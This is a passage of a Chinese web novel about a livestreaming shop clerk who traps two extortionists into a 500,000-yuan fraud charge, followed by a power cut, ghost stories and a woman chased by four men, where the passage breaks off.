这句话像是投入平静湖面的巨石，弹幕在短暂的停滞空白后，瞬间陷入疯狂。 评论刷新的速度快到让人眼花缭乱，满屏都是惊叹与调侃。 “主播这是打算让人牢底坐穿啊。” “你好坏哦，我好喜欢。” “主要也是这小子的问题，但凡他不是拿别人家的饮料过来，都不会被主播坑。” “确实，只要他看一眼小票也会没事。” “好像要的钱少一些问题也不大。” “算来算去，主播至少给这人三次机会。” “希望他别把握住啊！” “好一个希望他别把握住，你是懂直播的。” “老梁，准备好，这次可能是几十万的单子。” “OK！” 也是在这时。 林澈耳边突然响起一阵只有他能听见的清脆提示音。 【恭喜宿主观众认可度达到50%】 【获得奖励生命点*1】 【当前宿主剩余寿命：十五天】 林澈低头继续看着电影。 另一边，男人推门而出，身影迅速融入街道中。 脚步匆匆，径直走向一辆停在路边、车身布满灰尘的银色马自达。 金属拉门被猛地拉开，男人将怀里抱着的一堆东西一股脑狠狠甩进后座。 随后，他一屁股重重坐进副驾驶，整个人陷进破旧的皮质座椅里，发出一声满足的闷哼。 主驾驶位上，一个脸上布满褐色麻子的男人猛地挺直脊背，双眼放光，急切地凑过来。 “大虎，怎么样？” “成功了吗？” 大虎胸脯高高挺起，脸上洋溢着得意的笑容，重重地点头。 搓了搓手，眼中闪烁着贪婪的光芒。 “麻子哥，成功了。” “我给他，他就卖给我了。” “这次又妥了。” 麻子猛地一拍大腿，座椅都跟着震颤，他咧开嘴大笑，露出几颗发黄的牙齿。 “还是这条路来钱快。” “煞笔才真的去打假，要不到钱不说，还容易被揍。” “这种才是真的舒服。” “就找这种老小区内部的超市，他们没啥见识。” “一搞一个准。” “至于这个城市搞完了怎么办？” “那当然是换一个城市了。” 大虎听得连连点头，脸上的兴奋都快溢出来，舔了舔嘴唇，迫不及待地问道。 “是啊。” “又轻松又舒服。” “麻子哥，接下来咱们这就回去？” 麻子却摆了摆手，眼神中闪过一丝奸诈，慢悠悠地说。 “不着急，咱们先去把上一家结账了。” “等会回来找这家的事。” 面包车晃晃悠悠地启动，在狭窄的街道上七拐八拐。 没过多久，车子停在一条更偏僻的巷子里，前方一家破旧的小卖部映入眼帘。 这家小卖部甚至都没有门帘，只有一个狭小的窗口，窗口后面，一位头发花白的大爷正戴着老花镜，慢悠悠地翻看着手中的报纸。 大虎用来坑林澈的红牛也是从这家买的。 麻子抓起一旁的红牛，推开车门，大虎亦步亦趋地跟在身后。 两人大步走到小卖部前，麻子伸出骨节粗大的手，重重地敲击着窗口的玻璃。 大爷缓缓抬起头，摘下老花镜，眯着眼睛看了看两人，随后不慌不忙地拉开窗口的玻璃，声音苍老而平静。 “要什么？” 麻子二话不说，将红牛狠狠砸在柜台上，玻璃瓶与木质柜台碰撞，发出清脆的响声。 他瞪大眼睛，扯着嗓子喊道： “大爷，你这家店有资质吗？” “竟然销售保健品！” 第91章 阎王让你们三更死，你们俩一更就跑过来了！ 低头盯着柜台上的红牛，又抬头看看麻子。 嘴巴一张一合，好半天才吐出几个字，声音发颤。 “啊？” “保健品？” “不就是瓶饮料吗？” 麻子一把抓起红牛，肥厚的手指重重戳在瓶身“保健食品”的标识上，青筋暴起。 故意提高音量，唾沫星子都溅到了柜台上。 “看看这个！” “这是保健品！这根本不是饮料！” “没有资质私自销售保健品。” “大虎，说说这会有什么惩罚？” 说到这，他猛地转头看向大虎，眼神示意。 大虎立刻挺直腰板，表情严肃得像个执法人员，从口袋掏出手机，屏幕上赫然显示着一段新闻视频。 视频里，一群警察面色冷峻，迅速冲进一家店铺，店内的人惊慌失措，画面一转，新闻主播严肃地播报着： “因无资质私自销售保健品，商家被处以数十万元罚款……” 大爷的脸瞬间变得煞白，布满老年斑的双手止不住地颤抖，身体也跟着晃悠起来，仿佛一阵风就能将他吹倒。 伸手颤颤巍巍指着红牛哆哆嗦嗦地指着红牛，声音带着哭腔。 “这都是批发商给我的。” “跟我没关系啊。” 麻子双臂抱在胸前，鼻孔里发出一声冷哼。 “我找不到批发商的事。” “你卖给我的，我差点喝了。” “说吧这件事怎么办？” “大爷，你也不想这间超市关门吧？” “你这里这么多货到时候都得低价被批发商拿走。” 大爷听出麻子话里有话。 嘴唇翕动了几下，终于试探着开口。 “你的意思是给点钱，这件事就算了？” 得到麻子肯定的点头后，大爷仍用狐疑的目光反复打量着两人，枯瘦的手始终紧紧攥着，迟迟没有掏钱的动作。 麻子见状，突然掏出手机，当着大爷的面按下一串数字，随后将手机公放。 电话那头传来清晰的女声。 “您好，这里是110报警热线。” 大爷脸色骤变，浑浊的眼中满是惊恐，慌乱中伸出枯枝般的手，一把夺过麻子的手机狠狠挂断，声音都破了音。 “我给！我给！” “你要多少？” 麻子咧开嘴，露出发黄的牙齿，不怀好意地冲大爷伸出五根粗短的手指。 大爷颤巍巍地拉开锈迹斑斑的收钱箱，箱内整整齐齐码着的钞票瞬间映入眼帘，崭新的红色纸币与皱巴巴的零钱堆叠在一起，在灯光下泛着诱人的光泽。 大爷好不容易从一沓钞票里数出五张百元大钞，干枯的手指刚捏着钞票递出去，麻子突然像头饿狼般探过身，肥厚的手掌直接伸进钱箱里胡乱抓了一把。 还没等大爷反应过来，他又迅速抽走大爷手中的五百块。 钞票被抽走时，大爷的指尖还保持着僵硬的弯曲姿势。 麻子把大把钞票塞进裤兜，随手抓起柜台上的红牛，脸上挂着令人作呕的假笑。 “大爷，这只是给你个教训。” “今天的事就到这里了。” 话音刚落，他便大摇大摆地转身离开，鞋重重踩在地上，发出“咚咚”的声响。 大爷呆呆地站在原地，嘴唇不停地哆嗦，布满老年斑的手悬在半空，张了张嘴，却只发出几声呜咽般的气音，浑浊的泪水在眼眶里打转。 麻子和大虎一路小跑着回到车上，车门都没关严实，两人就迫不及待地把抢到的钱倒在腿上，一张一张地数起来。 “卧槽！两千七百多。” “大爷还是有钱啊！” “哈哈哈，这次可是赚大了。” 麻子兴奋地挥舞着钞票，脸上的麻子都跟着抖动。 大虎满脸谄媚地凑过去，眼神里满是崇拜。 “还得是麻子哥。” “我刚刚以为你就要五百呢。” “没想到自己竟然伸手去拿。” 麻子仰起头，发出一阵狂妄的大笑，笑声在狭小的车厢里回荡。 “当然，怕什么。” “这些人怂得很，他肯给钱，我就敢要得更多。” “其实就算是真的报警，最后也什么事都不会发生。” “就几瓶饮料而已，最多罚个几百块，甚至只会是口头警告而已。” 大虎连忙点头如捣蒜，竖起大拇指讨好道。 “麻子哥，跟着你混果然有前途！” 麻子得意洋洋地扬起下巴，猛地挂上挡，一脚油门踩下去，车子发出刺耳的轰鸣，原地来了个潇洒的掉头。 舔了舔嘴唇，眼中闪烁着贪婪的光芒。 “走，下一家。” “今天跑完这一家，咱们也该去休息休息了。” 没过多久，两人的车又停在了林澈的店铺前。 他们推开车门，大摇大摆地走进店里，清脆的电子门铃应声响起：“欢迎光临。” 林澈正低头摆弄着直播设备，听到电子门铃清脆的声响，缓缓抬起头，目光越过电脑屏幕，落在门口那两个身影上。 熟悉的面孔映入眼帘，来者正是不久前离开的那人。 心下了然，这人现在折返，定是为了索要“赔偿”。 同一时间，直播间里的弹幕如同汹涌的潮水，疯狂地向上翻涌。 “傻小子，你快跑，别回头。” “这家伙准备把你们送进去，心黑得很。” “啊啊啊，阎王让你们三更死，你们俩一更就跑过来了！” “有好戏看了，就喜欢看戏。” “主播搞快点！我已经迫不及待了。” 林澈从容起身，脸上挂着恰到好处的温和笑容，声音亲切又自然。 “请问你们要什么？” 麻子大踏步走上前，将红牛重重地拍在柜台面上，玻璃瓶与台面碰撞，发出“砰”的一声闷响。 他瞪大眼睛，恶狠狠地说道。 “你这家店竟然销售保健品！” “知不知道没有资质私自销售保健品是什么处罚吗？” 一旁的大虎动作娴熟，立刻掏出手机，快速点开那段早已准备好的视频，声音洪亮且严肃。 “吊销执照，罚没违法所得并处罚金。” 第92章 当然是帮助你们吃上官家饭 “啊！？” “这不是我家的！” 麻子嘴角勾起一抹冷笑，眼神里满是讥讽。 “你说不是就不是？” “刚刚购买的东西内是不是有这瓶饮料？” “你这里可有监控，别想撒谎！” 林澈迟疑片刻，缓缓点了点头。 “确实有。” 麻子猛地提高音量，厉声呵斥道。 “好！你承认了！” “既然如此你也该知道该怎么做了！” 说着，他伸出一只手掌，五指大大张开，在林澈面前晃了晃。 林澈喉结上下滚动，咽了咽口水，声音有些发颤地问道。 “五千？” 这话一出口，麻子和大虎瞬间瞪大了眼睛，脸上先是闪过一丝惊讶，紧接着，贪婪如同火苗般迅速在眼底蔓延开来。 两人对视一眼，都从对方眼中看到了狂喜。 他们万万没想到，眼前这小子不仅看起来有钱，还如此“识趣”，甚至都不需要他们搬出报警的恐吓手段。 既然对方主动提出这个数额，他们自然没有拒绝的道理。 麻子强压下内心的激动，板着脸，装出一副威严的样子，点了点头。 “嗯，算你小子懂事。” “这只是给你个教训。” 直播间的弹幕像是被点燃的爆竹，密密麻麻地挤在屏幕上，各色字体疯狂跳动、飞速刷新。 “五千乘十？主播要转五万！” “完蛋了，这两煞笔现在还在高兴，不知道等会手铐戴上还能不能笑出来！” “这种我看过，抱头蹲下，然后说着什么后悔，我错了之类的话。” “哈哈哈，你这也太形象了。” 林澈唇角勾起一抹不易察觉的弧度，慢条斯理地掏出手机，目光直直地迎上麻子的视线，语气诚恳又带着几分无奈。 “这么多钱，我这里没有现金。” “银行转账行吗？” 麻子生怕这到嘴的鸭子飞了，赶忙报出一串数字。 “可以，我的卡号是工商*********” 林澈垂眸，修长的手指在手机屏幕上快速滑动，将卡号精准录入。 停顿了一瞬，指腹重重按在金额栏，而后缓缓输入数字——五十万元整。 确认转账的瞬间，手机屏幕收到一条短信， 林澈抬起头，似笑非笑地看着对面两人。 刹那间，直播间弹幕彻底失控，评论刷新速度快到几乎让人看不清内容。 “原本以为主播转五万已经是不做人了，没想到直接就是五十万。” “诈骗五十万啊！这已经是巨额资金了。” “这俩傻子恐怕接下来十年都要在监狱蹲着了。” “得罪了主播还想走，全都进去吧！” “主播已经给过他们机会了，他们没把握住。” “老梁：感谢老铁送来的功劳。” “之前叫我老梁，我不说什么，但认识了林澈之后该叫我什么，请你想明白。” “是！梁局！” 林澈直接全都转过去。 麻子听着手机的动静，漫不经心地摸出手机，屏幕解锁后只随意扫了眼到账提示。 看到那串数字开头的“50”便心满意足地把手机塞回裤兜。 钞票入袋的踏实感让他整个人都放松下来，大笑着抄起柜台上的红牛，金属罐被捏得微微变形。 “你很懂事，我很欣慰。” 林澈双手抱臂，歪着头追问。 “钱收到了吗？” 得到肯定答复的瞬间，唇角的弧度陡然加深，眼底却没有半分笑意。 “好！既然你收到了，那就该进行下一步了。” 林澈修长的手指已经握着手机调出通讯录，当着两人的面按下拨号键，清朗的声音穿透听筒。 “喂，梁警官吗？” “我被诈骗了五十万！” “您赶紧过来吧。” 麻子和大虎的笑容僵在脸上，像是被定格的提线木偶。 大虎突然发出一声破音的尖叫：“五十万！” 麻子手忙脚乱地再次掏出手机，浑浊的眼睛紧贴屏幕，食指颤抖着逐个数那些密密麻麻的零，喉结剧烈滚动发出“咕咚”的吞咽声。 “卧槽！” “真是五十万！” 麻子暴跳如雷，脖颈的青筋突突直冒，肥硕的手指几乎戳到林澈鼻尖。 “你要干什么？” 林澈却不躲不闪，任由对方唾沫星子飞溅，反而往前半步，脸上挂着天使般无害的笑容，语调轻柔得仿佛在哄小孩： “当然是帮助你们吃上官家饭。” 超市内白炽灯管发出嗡嗡的电流声，货架间浮动着空气清新剂的气味。 大虎粗糙的手掌死死攥住麻子的胳膊，指节因用力过度泛起青白，随着急促呼吸剧烈起伏。 麻子额角渗出细密的汗珠，喉结上下滚动了好几次才把紧张情绪咽下去。 大虎用另一只手拍着麻子后背。 故意把尾音拖得很长，眼睛不断瞟向收银台后的林澈。 “哥，不要怕。” “东西他卖的。” “说破大天也是这么回事。” “钱大不了退回去——咱们又没沾手！” 麻子咬着后槽牙，指节捏得咔吧作响。 “说得对。” 咧开嘴狞笑，三角眼布满血丝，脖颈青筋暴起。 “小子，敢下手阴我们。” “你是真没听过我的名号。” 随即他猛地踹翻脚边的购物篮，塑料筐在瓷砖地面上发出刺耳的摩擦声。 至于逃跑，这种事他们都是老手了。 深知这种时候在现扬还能狡辩两句，一但跑了就坐实了。 林澈倚在墙边，笑笑不说话。 屏幕上弹幕如潮水翻涌。 “哎呦，这俩个大傻子。” “估计拿到之后就没看过小票了。” “主播就等着他们上钩了。” “主播这家伙忒坏了。” “确实，不是啥好东西。” “兄弟们接下来咱们等着就好了。” “老梁，你快到了吗？” “马上，十分钟内赶到。” 第93章 这就是个误会 梁国栋警服笔挺，警帽檐压得极低。 身后的小李举着执法记录仪，红色指示灯在超市里格外醒目。 麻子抢先冲上前，肥厚的手掌在空中挥舞。 挤出两滴眼泪，通红的鼻头抽噎着。 “警察同志，他违法销售保健品。” “我们按《消费者权益保护法》要求退一赔三，结果他直接转账五十万想封口。” “还反手说我们诈骗，您说说这事怎么算？” 梁国栋自然了解情况，但是按照规矩询问起来。 翻了翻手里的文件夹，笔尖在纸面划出沙沙声响。 “具体说说，他违法销售了什么保健品？” 身后的小李调整执法记录仪角度，镜头精准对准麻子和大虎。 大虎浑浊的眼珠滴溜溜一转，骨节粗大的手"啪"地拍在满是划痕的收银台上，震得旁边的扫码枪都跳了跳。 把手中的红牛怼到梁国栋眼前。 “就是这个！” “他这家店根本没有销售资质。” 梁国栋接过红牛。 用戴着白手套的手指摩挲着罐身，转头看向林澈。 “报案人林澈你有什么想说的吗？” 林澈眼弯成月牙，唇角勾起恰到好处的弧度，目光似笑非笑。 “我根本就没卖过这个。” “他们完完全全就是诈骗。” “还仗着自己有两个人恐吓我，逼着我赔钱。” 说到"逼"字时，轻轻按住胸口，语气带着恰到好处的颤抖。 “我一时害怕就把钱全都转过去了。” 梁国栋喉结动了动，小李把执法记录仪往前凑了凑。 直播间弹幕疯狂刷新，满屏的"哈哈哈哈"几乎要盖过画面。 “玛德。” “主播竟然说他害怕？” “兄弟们，主播害怕什么？害怕对方不够暴力吗？” “可能是害怕对方不能坐穿牢底。” “哈哈哈，嘴上说的害怕，心里全是算计。” “这俩人一起上，能不能让主播出汗都不一定。” 随后之前林澈两招打退A级通缉犯的GIF动图再次在直播间疯传。 麻子的双眉随着激动的情绪起伏，手指几乎指在林澈脸上。 “警察同志，这人刚刚还说东西是他家的。” “转头就不认账了。” “调监控！查记录！他绝对在说谎！” 大虎也跟着跺脚，语气笃定道。 “我买的。” “当时这罐红牛就放在最上面。” 林澈突然轻笑出声。 “红牛确实装在袋里。” “但谁说我卖了。” “这红牛的SN码超市系统里根本没有。” “我给你开的小票上也没有。” “这完全就是你自己带进来的。” 大虎的脸瞬间变得煞白，喉结上下滚动着说不出话，后背很快洇出深色汗渍。 麻子知道详情，心里"咯噔"一声，猛地转头看向大虎。 大虎慌乱地掏着裤兜，钥匙串哗啦作响，最后只掏出半包皱巴巴的香烟。 声音发颤，伸手胡乱抹了把额头的汗。 “小票在车里。” “我这就去拿！” 话音未落，他转身撞翻货架旁的促销立牌，人已经跌跌撞撞地冲出玻璃门。 林澈依旧保持着温和的笑意。 慢条斯理地滑动收银台后的监控屏幕，修长手指突然停在某个画面。 “这是当时的监控。” “警察同志，那可是五十万啊。” “您可一定要给我做主。” “他们这么熟练，恐怕没少骗别人，您可一定要查清楚。” 梁国栋抿着嘴唇，喉结艰难地动了动，强忍着笑意用笔敲了敲记录本。 麻子的额头不断渗出汗珠，扯松领口的手微微发抖。 “你血口喷人！” “我们可是合法公民。” 林澈不疾不徐说道。 “那就查查你们的钱。” “赚多少钱，交多少税是很清楚的。” “希望你们能解释清楚。” 麻子面若死灰，都干这种事了，谁踏马还交税啊。 这种事根本经不起查。 抬眼撞上梁国栋鹰隼般的目光，后背瞬间被冷汗浸透。 这一瞬间，麻子突然意识到这次肯定栽了。 那还是五十万啊！ 十年起步！ 希望小票上能有红牛。 可千万要有啊！ 十分钟后，大虎喘着粗气撞开超市门，衣服上沾满灰尘，不知在哪蹭了片油渍。 脸色灰败如死，偷偷看了眼麻子，微微摇了摇头。 但他没放弃，梗着脖子，粗糙的手掌死死攥住衣角。 “小票丢了。” “我找不到了。” “反正就是在你这里买的。” 林澈慢条斯理地抽出叠得整整齐齐的小票，露出上面清晰的商品明细。 眼中折射出冷光，嘴角勾起的弧度带着几分玩味。 “没事，我这里有。” 大虎盯着那抹白色纸张，喉结剧烈滚动，干裂的嘴唇翕动几下，最终只吐出几声破碎的气音。 麻子突然"噗通"一声双膝着地，膝盖重重磕在瓷砖地面发出闷响。 向前蹭了半步，双手想要抓住林澈衣服下摆，抬头时三角眼里蓄满浑浊的泪水。 “哥，我错了。” “是我鬼迷心窍，这次也是因为家里缺钱啊。” “否则不会出来干这种事。” “我那孩子今年要上大学，缺了一笔学费。” “求您原谅我吧。” 说着说着，麻子的鼻涕眼泪糊了满脸。 因为麻子知道只有取得林澈的原谅。 把那五十万还回去，这样才能少判几年。 回头给了大虎一个眼神。 大虎收到麻子的眼神暗示，突然用手狠狠揉了揉眼睛，沙哑的哭声瞬间爆发，踉跄着扑到林澈脚边。 “这就是个误会！” "求求您高抬贵手！我们保证把钱原封不动还回来！" 两人此起彼伏的哀嚎在超市里回荡。 不得不说，两人演技这一块确实没问题。 直播间弹幕疯狂刷屏，满屏的惊叹号。 “卧槽！不说是哭戏最难吗？” “这俩哥们说哭就哭啊。” “奥斯卡欠他俩小金人！这眼泪跟自来水似的！” “但凡你也要进去蹲几十年牢，你也能说哭就哭。” “什么踏马的第一次，这种发现不对立马求饶，就绝对是老手了。” “主播，你可千万不要手软。” “放心吧，主播不光手不软，甚至之前就谋划好给他们超级加倍了。” 林澈低头看着这闹剧，手指无意识摩挲着小票边缘，嘴角始终挂着若有若无的笑意。 转头看向梁国栋，语气轻快得仿佛在讨论天气。 “梁警官，您说呢？” 第94章 停电 上前两步，警靴踏在地面发出沉稳的声响，反手扣住麻子手腕的动作行云流水上。 "误会？"林澈轻笑出声，口袋里的手机还在持续直播。 "转账记录、监控录像、威胁录音..."林澈屈指轻叩收银台，"证据链完整得很。" 梁国栋拽着麻子的后衣领，警服袖口绷得笔直，小李则反扣住大虎的胳膊，两人像拎小鸡似的将还在挣扎的诈骗犯往警车里塞。 麻子被拖拽着起身时，仍在拼命挣扎，裤子在地面拖出长长的灰痕："五十万！五十万我马上还！再赔您二十万！" 林澈根本不为所动。 小李把人押上车后，又折返回超市，执法记录仪的红色指示灯仍在闪烁。 摊开记录本，笔尖在纸面沙沙滑动："林澈先生，麻烦再复述一遍事情经过。" 做完笔录时，小李将文件塞进公文包，转身离去。 至于那五十万需要一段时间才能送回来了。 林澈倒是无所谓，毕竟现在自己根本不缺钱。 直播间弹幕飘过。 “很快啊，啪的一下就结束了。” “主播果然很大方，短短几个小时就送两人吃上了官家饭。” “是啊，早八晚六，还有单休和学习天，主播就是他们的贵人。” “这样的贵人，真的是贵贵又人人！” “玛德，你们这帮B.......站的网友果然很有才！贵人理论都出现了。” 恰在这时，林澈耳边响起了系统的提示声。 【直播间观众认可度达到80%】 【宿主当前职业：超市售货员】 【正在抽取当前职业技能......】 【恭喜宿主获得超市理货】 【是不是缺货，一眼就能看出来。】 林澈扫了一眼超市货架。 脑中下意识就看出很多货架上的货物需要补货。 并且还有一批食品快到保质期需要立马处理。 “立马处理？” “没办法只好全都吃掉了。” 林澈抱过来一大批零食，坐下一边看电影一边吃。 这种位置很偏的超市。 如果没有收入压力，真的很悠闲。 林澈看了眼时间，已经坐了一个小时了。 忽然猛地起身，对着镜头张开双臂，脸上带着神秘的笑意。 “兄弟们，到时候了。” “全体起立！！！” 弹幕瞬间被问号刷屏。 “啊？” “主播，你要干什么？” “大傻春，你不要做傻事啊。” “告诉你没有要紧的事，我可不会随随便便坐下！” 林澈嘴角噙着坏笑，故意压低嗓音，带着几分神秘兮兮的腔调。 “家人们，是时候来波养生小课堂了——该提肛了。这动作，啧啧，坚持练，那方面的能力蹭蹭往上涨。” 弹幕先是陷入诡异的寂静，紧接着瞬间沸腾。 “首先我没问题，其次我没问题，最后我真的没问题。” “我懂，我都懂！” “谁说提肛不好了，这提肛可太好了。” “主播真的太爱我了，竟然还怕我那方面不行。” “呜呜呜，你真的我哭死。” “大家一起！一二一！夹紧！松！” 此后的时间里，林澈只要一有空，就冷不丁地带着直播间观众来上这么一出“提肛运动”。 下午时分，超市难得来了几位顾客，零零散散买了些东西，拢共卖了四十块钱的货。 随着暮色渐浓，喧嚣的街道也安静下来，时间悄然来到了十点五十分。 林澈瞥了眼系统显示的观众认可度。 百分之九十八。 今天又是个熬夜的时间。 “兄弟们，又到时候了。” “全体........” 话还没说完，直播间画面突然一黑，只剩下密密麻麻疯狂刷新的弹幕在屏幕上跳动。 “卧槽！” “什么情况？” “主播真是胆肥了，竟然连一句谢谢都不说，就下播了。” “主播，你说谢谢了吗？” “什么踏马的直播间小万斯，张口闭口问人说谢谢了吗！” “等等，你们有没有发现问题，主播好像没有下播。” “确实，如果下播了，直播间中间会显示一行主播消失的字样。” “那这是怎么回事？” 黑暗中，林澈摸索着拿起手机，冷不丁将脸怼到镜头前。 直播画面骤然被一张放大数倍的面孔占据，眼中泛着微弱的光，睫毛投下的阴影在眼下轻轻颤动，嘴角还挂着没来得及收起的坏笑。 “兄弟们，咱们的神功练到位了。” “提肛都能把电闸提得跳闸了。” 弹幕瞬间被惊恐与吐槽填满，文字如潮水般疯狂上涌。 “鬼啊！你个逼人突然离得这么近干什么？” “主播，你可整阴间的活，但不能让直播间通阴间，就算二舅关系硬也不行，我们会被吓死的。” “靠靠靠！原来是停电了！吓死我了！” “真是一群胆小鬼！不说了，我去换个裤子。” 林澈推开超市玻璃门，闷热的夜风裹挟着远处烧烤摊的香气扑面而来。 今夜无月，街道上一片漆黑，路灯失去了光亮，连平日里明亮的居民楼窗户都陷入黑暗。 林澈眯起眼睛往远处张望，发现整个小区都被浓稠的夜色笼罩。 就在这时，一个洪亮的嗓门穿透寂静。 声音里带着明显的怒气和无奈。 “都说了，现在还不能开空调！” “等电力检修完了再开！” “你们都不听！跳闸了，好了吧！” 循声望去，只见小区门口聚集着几个人影，其中一人正挥舞着手臂，似乎在向周围抱怨。 林澈咂了咂舌，转身对着手机镜头说道。 “兄弟们。” “老小区线路老化，确实每年夏天都需要专门检修。” “否则空调一开，跳闸那是板上钉钉的事。” “咱们稍微等等吧。” “这种大好时机，咱们讲鬼故事吧。” 第95章 只要跑到那里 “不是哥们？这黑灯瞎火你给我们讲鬼故事？” “首先我不是害怕，其次我根本不害怕，最后我已经静音了。” “好一个怂得有理有据。” “冷汗已经开始冒出来了。” “这么容易就冒汗，这是肾虚啊。” “卧槽！你乱说什么大实话，我根本不肾虚！” 林澈坐在超市门口的台阶上，喉结滚动两下，用刻意沙哑低沉的嗓音，幽幽地讲起了鬼故事。 十分钟前。 蒋雪揉着酸痛的肩膀，看了看因为没电而关机的手机屏幕，只能拖着疲惫的步伐走回家了。 广告牌在她身后渐次熄灭，加班到深夜的她，此刻只盼着能快点回到温暖的家。 她按照往常的习惯，拐进了那条偏僻的小巷。 脚下踩着经年累月被雨水冲刷得坑洼不平的石板路，路灯的光透过斑驳的树叶，在地面投下一片片破碎的斑，忽隐忽现。 刚拐进小巷没走多远，身后便传来若有若无的脚步声。 那声音不紧不慢，却像是黏在身后甩不掉的影子。 蒋雪心里“咯噔”一下，脚步下意识顿了顿。 她强装镇定，微微侧头，用余光向后一扫——昏暗的巷子里，两个男人的身影在月光下显现，一高一矮，面无表情，确定自己从未见过他们。 但那身穿似乎和下班时在公司楼下看到的身影有几分相似。 寒意顺着脊椎爬上来，蒋雪的指甲深深掐进掌心。 这条小巷她每天都走，因为下班晚，经常能遇见些熟面孔。 但这两个人，绝对是第一次在附近出现，而且还像是从公司一路跟了过来。 真的只是巧合？ 蒋雪不敢再多想，咬了咬嘴唇，运动鞋底与石板路摩擦出细微的声响，她小跑起来，发梢被汗水浸湿，贴在发烫的脸颊上。 跑出去一段距离后，她回头张望，发现那两人并没有追上来。 紧绷的神经稍稍放松，呼出一口浊气，自我安慰道：“应该是错觉吧。” 然而，就在她刚刚松了一口气的瞬间，巷口两侧的阴影中突然走出两个人。 分别站在巷子两侧，将狭窄的通道堵得严严实实。 灯光打在他们脸上，勾勒出阴冷的轮廓。 蒋雪的心跳陡然加快，喉咙像是被一只无形的手扼住，她终于意识到，事情不对劲，十分不对劲。 蒋雪的运动鞋底像是被无形胶水黏在湿漉漉的石板路上，每挪动半寸都要使出浑身力气。 脖颈僵硬得如同生锈的齿轮，缓缓转动时发出细微的咔嗒声，双眼死死盯在面前两人泛着冷光的面孔上，睫毛因恐惧而剧烈颤动，瞳孔在黑暗中收缩成针尖大小。 两人歪着头，像打量砧板上的鱼肉般将蒋雪从上到下扫视。 他们喉间滚动着浑浊的吞咽声，眼神里跳动着野兽捕食前的猩红光芒，嘴角咧开的弧度几乎要扯到耳根。 身后的脚步声如同鼓点般越来越急，每一下都重重砸在蒋雪震颤的尾椎骨上。 蒋雪强迫自己转动僵硬的脖颈，余光瞥见身后巷子口那两道黑影已经追上来。 这是把自己包围在以其中了。 蒋雪咬破下唇，舌尖尝到咸腥的铁锈味，指甲深深掐进掌心却浑然不觉。 “怎......怎么办？” “喊人？这里本就是条小路，白天时候都没啥人。” “何况是晚上临近十一点。” “跑？那也跑不掉啊！” 四人突然同时发出“啧啧”的怪笑。 每前进一步，蒋雪都能听见自己愈发急促的心跳声，胸腔像是要被撞碎的旧鼓。 就在这时，头顶的路灯突然停电。 整条巷子瞬间被浓稠的黑暗吞噬，伸手不见五指的漆黑中。 四人中有人喊道。 “卧槽！什么情况？” “拦住，别让人跑了！” “这可是天赐良机啊！” “这下连监控都没有了。” 蒋雪浑身的血液瞬间沸腾，借着四人慌乱碰撞的间隙，像只受惊的野兔般朝着巷子深处狂奔。 不知跑了多久，蒋雪的肺像是被塞进了燃烧的炭火，每一次呼吸都带着尖锐的刺痛。 扶着斑驳的砖墙，剧烈的喘息声在寂静的夜色里格外清晰。 四周浓稠的黑暗如同实质，压得她喘不过气。 突然，一缕若有若无的焦香混着孜然味钻进鼻腔。 蒋雪的瞳孔瞬间亮起，指甲深深抠进掌心强迫自己镇定。 有烧烤摊，那就有人！ 蒋雪沿着气味往前走，拐过一个拐角，远处突然出现一点微弱的暖黄。 蒋雪的眼眶瞬间发烫，那抹灯光在黑暗中如同灯塔，刺破了笼罩她的绝望。 “那边肯定是大路，只要过去，想来那四人也不敢追出来。” 她朝着那点光亮跌跌撞撞地跑去。 然而，没跑出多远，两道熟悉的身影出现在灯光尽头。 蒋雪突然站住，无法确定是不是那四人中的成员，不敢继续往前。 刚要转身找个墙根蹲下，借着黑暗的掩护等等看。 一道刺目的强光突然如利剑般划破浓稠的夜幕。 蒋雪下意识抬手遮挡眼睛，眯起的眼缝里，她看到路灯杆上斑驳的锈迹、墙面上歪斜的涂鸦，还有自己在地上被拉长的、微微发颤的影子，全都在这瞬间被照亮。 紧接着，那束光像捕食者锁定猎物般骤然收缩，直直地打在她身上。 这下不用分辨了，面前那两人就是坏人。 蒋雪心脏猛地悬到嗓子眼，转身拔腿就跑，运动鞋底与石板路摩擦出声响。 奔跑间，她凭借刚才那瞬间的光亮，快速在脑海里拼凑出周边的地形。 如果没记错的话，前面不远处有个公园，公园西角有个很晚关门的便民超市，店主王大叔总是挂着和善的笑容。 只要跑到那里，那四人想必不敢再造次。 ...... 林澈讲完鬼故事。 看着直播间弹幕里满屏滚动的“就这？就这？”。 “好好好，你们这么胆大。” “那就别怪我使出珍藏多年的鬼故事了。” “今天不把你们吓得尿了裤子，我就不姓林！” 说罢，指尖在手机屏幕上快速滑动，一首阴森的音乐应声而起，呜咽的风声、若有若无的孩童笑声，瞬间将直播间的氛围拉满。 林澈清了清嗓子，正要开口，突然感觉肩头一沉。 浑身的汗毛瞬间竖起，条件反射般猛地跳起来。 “卧槽！有鬼！” 第96章 光明神拳 一位头发花白的大爷正拄着拐杖，笑眯眯地看着他，手里还提着个老旧的手电筒。 大爷晃了晃手里的手电筒，光束在林澈脸上扫过。 指了指远处变电箱的方向。 “小伙子” “这次是附近的总闸跳了。” “那个闸装得太高，我们一群老家伙踮着脚都够不到。” “麻烦过来个帮忙。” 林澈盯着大爷布满皱纹的脸，长舒一口气。 “哦，好的。” 林澈拍了拍裤上的灰尘，起身跟着大爷往后面走去。 看了一眼超市大门，想了想也没啥值钱的玩意，就这么开着吧。 此时，直播间的弹幕如同炸开了锅，密密麻麻的文字疯狂滚动。 “还说吓尿我们，恐怕主播先被吓尿了。” “别说谁尿的，就说尿没尿吧。” “你要是这么说，请把镜头下移，我想换个头像了。” “不是，你们就这么爱看主播尿裤子？嘿嘿，我也爱看！” 林澈的脚步声渐渐远去，五分钟后，蒋雪跌跌撞撞地跑到超市门口。 她的额发完全被汗水浸透，胡乱地黏在苍白的脸上，胸口剧烈起伏着。 看到开着的超市大门，她原本紧绷到极致的神经终于稍稍放松，眼眶瞬间泛起一层水雾。 然而，身后急促的脚步声如影随形，越来越近。 蒋雪不敢有丝毫停留，快步走进超市，手指攥紧微微发白，伴随着急促的呼吸声。 空荡荡的超市静得能听见自己喉咙里吞咽口水的声音，冷汗顺着脸颊滑落。 蒋雪咬着下唇，指甲深深掐进掌心，声音带着哭腔。 “王大叔！王大叔！你在吗？救命啊！” 根本没有任何回应声，超市内没有人。 就在这时，玻璃门外突然晃动起四团模糊的黑影，手电筒的光束穿透雾气，在地面扫出锯齿状的光斑 四人在超市门口骤然停下，他们面色阴沉，彼此对视一眼，眼中闪烁着犹豫与不甘。 “怎么办？还进去吗？”矮个子搓了搓手，目光不安地往超市里瞟。 “这里面有人怎么办？”高个子摩挲着手指，语气里带着一丝迟疑。 